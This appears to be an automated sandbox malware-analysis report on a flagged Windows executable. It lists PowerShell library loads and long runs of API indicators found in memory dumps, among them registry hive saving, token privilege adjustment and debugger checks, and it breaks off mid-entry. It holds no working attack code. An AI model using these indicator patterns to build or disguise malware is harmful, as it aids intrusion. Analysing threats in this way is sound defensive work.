%WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.M870d558a#\5f64880c86c98e7ddecdf28e61917307\Microsoft.Management.Infrastr (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Ibaae5ed9#\e86f7f836a07f673cdef4c9a4d4b4d80\Microsoft.IIS.Powershell.Comm (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Kd58820a5#\00f9e9ff321d8a141f3d71163c70c906\Microsoft.KeyDistributionServ (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDis (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\urlmon.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00002720) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00002720)35:Tb12c,Found reference to API (Indicator: "QueryPerformanceFrequency"; File: "SecuriteInfo.com.Win64.Evo-gen.49237433.exe") Found reference to API (Indicator: "GetMessageTime"; File: "SecuriteInfo.com.Win64.Evo-gen.49237433.exe") Found reference to API (Indicator: "GetProcessWindowStation"; File: "00000000-00004180.00000001.176990.40239000.00000020.mdmp") Found reference to API (Indicator: "GetUserObjectInformationA"; File: "00000000-00004180.00000001.176990.40239000.00000020.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; File: "00000000-00004180.00000001.176990.40239000.00000020.mdmp") Found reference to API (Indicator: "GetActiveWindow"; File: "00000000-00004180.00000001.176990.40239000.00000020.mdmp") Found reference to API (Indicator: "MessageBoxA"; File: "00000000-00004180.00000001.176990.40239000.00000020.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegRestoreKeyW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegLoadKeyW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegUnLoadKeyW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegSaveKeyExW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "IsCharAlphaNumericW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegFlushKey"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "LocalReAlloc"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegConnectRegistryW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegSaveKeyW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "NtQueryKey"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "GetThreadLocale"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "StrStrIW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "EventWrite"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "InstallELAMCertificateInfo"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "WSACleanup"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "BCryptGetProperty"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "BCryptDestroyHash"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "BCryptCreateHash"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "BCryptFinishHash"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "BCryptHashData"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CryptDestroyHash"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CryptCreateHash"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CryptGetHashParam"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CryptHashData"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CryptReleaseContext"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireContextW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CryptGenRandom"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminCalcHashFromFileHandle"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminAcquireContext"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminEnumCatalogFromHash"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminReleaseContext"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFromStringBindingW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetAuthInfoExW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetOption"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFree"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RpcSmDestroyClientContext"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RpcStringFreeW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RpcStringBindingComposeW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "UnregisterWaitEx"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RegisterWaitForSingleObject"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "DeleteTimerQueueTimer"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceConfigW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountSidW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "ReportEventW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RegisterEventSourceW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "ConvertStringSidToSidW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "DeregisterEventSource"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp") Found reference to API (Indicator: "OpenThreadToken"; Source: "00000000-00002720.00000000.178880.5E688000.00000002.mdmp") Found reference to API 